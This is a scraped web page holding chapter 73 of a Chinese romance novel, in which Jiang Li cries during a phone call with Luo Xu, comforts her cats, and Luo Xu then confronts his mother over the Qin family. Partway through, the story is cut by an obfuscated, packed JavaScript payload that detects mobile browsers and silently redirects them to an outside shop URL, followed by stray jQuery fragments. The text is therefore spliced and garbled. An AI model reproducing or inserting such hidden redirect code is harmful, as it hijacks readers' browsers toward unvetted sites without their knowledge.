默认冷灰
24号文字
方正启体

73.你不想我

作者:拔丝冰淇淋本书字数:K更新时间:
    这通电话像一根无形的线,一端是女孩儿们一端是罗序。


    女孩儿们这边屏息凝神,生怕他不耐烦,而罗序那边则轻声低语几句,接着问,“什么时候用。”


    “都行,最近几天吧。”


    罗序明显在和另一边通话。


    “不好意思这么晚打扰,是我家里的事,当然时间越近越好……”


    紧接着滑轮摩擦地面、衣服摩擦桌子、脚步声越来越远,最后由远及近……


    他再次坐回办公桌前,“负责人电话我一会儿发给你,怎么做你吩咐即可。”


    线的这一端明显松下来,几个女孩儿互相挤眉弄眼,陈阳阳也不似方才那么害羞,大方地握住方圆圆的手。


    姜梨愉快地应下,准备挂断电话,却被罗序叫停。


    “就这么挂了。”


    “你还有事吗?”


    一时没听出对方话里有话,姜梨还笑着朝女孩儿们比了个ok的手势,一阵小小的欢呼惊爆梨予甜境。


    “没事我挂了,吃过饭还要收拾一下才走呢。”


    晚上要把第二天用到的物料准备妥当,一早就能热气腾腾地开工了。说到这里,她最后的尾音都忍不住上扬。


    “姜姜,你……不想我?”


    “问这个干嘛?”


    她朝女孩儿们比了个手势,穿过客厅倚在仓库与厨房的夹角中,这里恰好是个阴影,看不到脸红,说话也不容易被外面听到。


    “怎么会不想你。”


    “可是除了有事,你从不主动联系我。”


    “怎么没有?”姜梨立刻反驳,“清明节我还给你发信息了呢,你都不回。”


    说起来就气,这可是她第一次主动示好。


    “可是,在那之后就没有了。”


    即使没开视频,罗序的哀怨也像山一样沉沉地压在头顶,滚落的山石“哗”地打在心头,姜梨措手不及。


    “生气了?”她把头埋在阴影里,像鸵鸟扎进沙子,仿佛这样就逃避旁边竖起来的几只耳朵,“我忙嘛。”


    这话说得连她自己都心虚。


    梨予甜境就算生意再红火,日均流水也不过五六千。哪能和靖宁街相提并论,可每次都是罗序主动放下身段来找她。


    姜梨倘若发信息,一定有求于人,确实说不过去。


    她就算再忙,也忙不过一个项目负责人,更何况如今罗序肩头还担着半个建工集团和整个古建公司。


    所以她的繁忙与罗序相比和小孩儿过家家没什么两样。


    自知理亏的她赶忙道歉,“对不起,我以后会注意的。”


    “注意什么?”


    “就多给你打电话嘛,发信息呗。但是得等闲下来的时候,虽然我店不大,但生意还是很好的。”


    说到梨予甜境的成就,姜梨的骄傲怎么遮都遮不住。


    “姜姜,我生气不只是这件事。你说闲下来才有时间,这么久了,都没主动发消息,是不是一直没顾得上好好休息?”


    哪怕罗序不在身边,也仿佛一眼看穿她的生活。


    “即使我不在也要照顾好自己,兼顾身体的同时能够想想我,我会很开心。”


    罗序句句在理,姜梨一时没法反驳,只能认命点头,都忘了对方看不见。


    “你怎么会不在,难道不回来了。说得生离死别似的。”


    口无遮拦的她赶忙捂住嘴,“我不是那个意思。不是就去几天嘛,怎么唠叨得比我爸厉害。”


    “是,暂时回不去。”


    罗序也长叹一声,他比谁都想回去。


    可是古建公司股权出现问题,眼看着秦家又要通过股权转让继续占有他的心血,罗序这次必须一绝后患。


    “这边一结束我马上飞回去。”


    姜梨转过身,靠着墙角,整个人都陷在阴影里。


    听到罗序说暂时不回来的一刻,她突然就哭了。连她自己都不知道为什么哭。


    明明没有罗序,人生的前十年都好好的;罗序离开后的十五年,她独自一人也走过了。


    只是暂时又不是永别。


    可越这样想,她就越委屈。泪水如断了线的珠子,噼里啪啦地砸在地上。


    外面说笑声一下就停住,明亮的房间里所有的目光都汇聚在阴暗的角落,隐隐约约的啜泣被放大无数倍,连罗序听到都忍不住抓狂。


    “姜姜,别哭,我回去,马上……今天马上回去。”


    上江到北城飞机要三个小时,大不了就当通勤。早上飞过来,晚上再飞回去。实在回不去临时住上江一天两天他能接受。


    原计划暂时不回北城时,罗序心里还忐忑不安,姜梨的眼泪给了他一颗定心丸——必须回去。


    “我没事。”听到罗序慌张的呼吸姜梨赶忙擦擦泪,深吸一口气,“一来一回要六个小时,还不如你多休息休息呢。”


    “我不想你难过,我也想你。”


    “我知道,就是一时没控制住。我买了你最爱吃的牛肋条、五花肉、芝士酸奶……”


    “佳乐送衣服那天说你买了好多,是那天吗?”


    “明知故问。”姜梨嗔怪道。


    床送到后,不知道为什么,她就去超市采购。现在想想,那时心里已经期盼着能和他长长久久在一起了吧,所以才会为这日日的柴米油盐而烦心。


    “别担心,我自己能行。”


    “姜姜,我想你了。”


    轻轻几个字俘获心跳,隔着千山万水,罗序炙热的呼吸再次回响耳畔,姜梨低低嘟囔着,“我也是。”


    “别急着回来,不能让秦家人欺负了。”


    “遵命。”


    签字笔利落地丢进笔筒,两人没再多说。比起见面不言,相隔万里才更让人惆怅神伤。


    狸猫锤子正好蹲在脚边,适时地凑过来,脑顶贴着裤脚来回摩擦。放下电话,姜梨搂过它,突然就踏实下来。


    比起初见,锤子已经胖了许多,也长了许多。脖子上的绒毛更蓬松,黑色条纹更油亮,看上去威武极了。这都归功于姜梨和罗序投喂的优质猫粮。


    姜梨故意把毛茸茸的耳朵翻出来,锤子晃晃头,耳朵就翻回来了。她再翻,这次爪子拨弄几下才恢复原样。


    不忍心再捉弄它,姜梨捧着已经大了一圈的脑袋,鼻子轻轻碰了碰锤子额头。


    这是她与锤子相遇以来,第一次这么亲密;没想到锤子居然顺着膝盖溜进她怀里,甚至喵了一声。


    她闭着眼睛,埋头在略微带刺的毛发间,想起第一次见到这只猫时的场景。


    它受了伤,还护着身后唯一的猫粮,一群流浪猫准备群起而攻之。


    那场景让她想起罗序。于是站出来,护下它。


    那时,它还不叫锤子,姜梨也从不呼唤它,只在固定地点固定时间放好猫粮,就这样熬过一年,它从皮包骨到有血有肉。


    离开北城佳苑,姜梨从未想过锤子会跟过来。


    可如今,它就在她怀里。


    “你是他派来的。”姜梨就着锤子耳朵上两撮绒毛喃喃着。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915930|187902||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    锤子自然不会回答,可另一边喵一声,小鸳鸯毛茸茸的爪子已经搭在膝头。一蓝一灰的眼睛又圆又亮,三色毛发浓密厚实,看起来也胖了许多。


    她索性连小鸳鸯一起搂过来。


    从前她不敢,因为连自己都没有长久打算,哪敢再带上两只毛茸茸。而现在,两团温暖的火炉在怀里,姜梨突然想了很多很多。


    思绪穿过夏夜的宁静。


    罗序补好了她的风筝,带她去江边捞鱼,夏夜凉风习习,在靖宁街老院里烤串吃西瓜……


    灵魂中一直残缺不全的那块似乎早就被暖意填补,至于何时补好的,也许就在与罗序重逢之时。


    她深深地想着,不知什么时候,周围多了许多影子。


    抬眼,女孩儿们早就围过来。


    “姐,你和姐夫吵架了。”方圆圆忧心忡忡的。


    “要是因为我们俩的事,不至于。我们不在乎仪式,本来……无论什么仪式都不能让我们得到认可。我们心里有对方就行。”


    陈阳阳握着方圆圆的手,两人坚定地站在她面前,“我们不在乎,别因为我们牵连你俩。”


    姜梨摇摇头,“他答应帮忙选地方。我哭是因为他有事绊住了,回不来。”


    女孩儿们不由得松口气。


    一桌子残羹剩饭收拾好,又把第二天的订单全部排好顺序,工具检查完毕,姜梨最后一个锁门离开。


    昏暗的办公室,只有笔记本电脑闪着幽蓝的光亮。


    突然亮起的白色刺眼光线让罗序忍不住皱眉。


    一身紫红色玫瑰暗纹旗袍的女人推门而入。


    门口小助理仓皇地瞥一眼面色冷峻的罗序,“罗总,夫人,夫人非要进来。”


    罗序抬手,小助理识趣地关上门,罗檀已经坐到对面。


    母子俩,仅隔一张桌子却遥远到在彼此眼中都看不到骄傲的对方。


    “阿序,你非要这么绝情?”


    “什么情?”


    “当初不是秦爷爷,你能到欧洲留学?能顺利组建自己的公司?能风风光光回北城吗?”


    罗序目光才弄电脑上移开,像突然看见母亲般,重新上下审视一番,末了赞同地点点头。


    “对,没有秦恒昌我就不会差点儿被那帮人打死。”


    他说完继续埋头在电脑上,不愿面对母亲哀怨无助的眼神。


    “那次是意外。他也没想到对方会派那么多人……再说,他也帮了你不少啊。如今你挡在秦家前面布局,迟早要翻脸的。”罗檀苦口婆心地劝解,眼巴巴的样子俨然一副事事都为儿子忧心的慈母形象。


    “不是已经翻脸了吗?”


    从他要求秦家人接回秦月汐,而秦任远无动于衷开始;从秦恒昌在背后授权多人入股上江古建修复公司开始。


    他双手一摊,“别再粉饰太平了,罗檀女士。你要再次面临人生选择。”


    上一次罗檀选了爱情,和沈毅双宿双飞,结果鸡飞蛋打,害得罗传荣计划多年的产业布局被全部破坏。


    “这次你选什么?还选秦任远?”


    选亲情,意味着和秦家决裂,与秦任远的婚姻有可能不保;选爱情,意味着背叛亲生骨肉,而一旦秦家倒台,罗檀将再次重蹈覆辙。


    罗序从鼻子里冷哼一声。


    其实无论罗檀选什么,都不会影响他接下来的决定。


    罗檀挺直的脊背弯下,颓然地靠在椅背上,眼底是落寞与哀愁。


    “果然,父亲没说错。你最像他。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)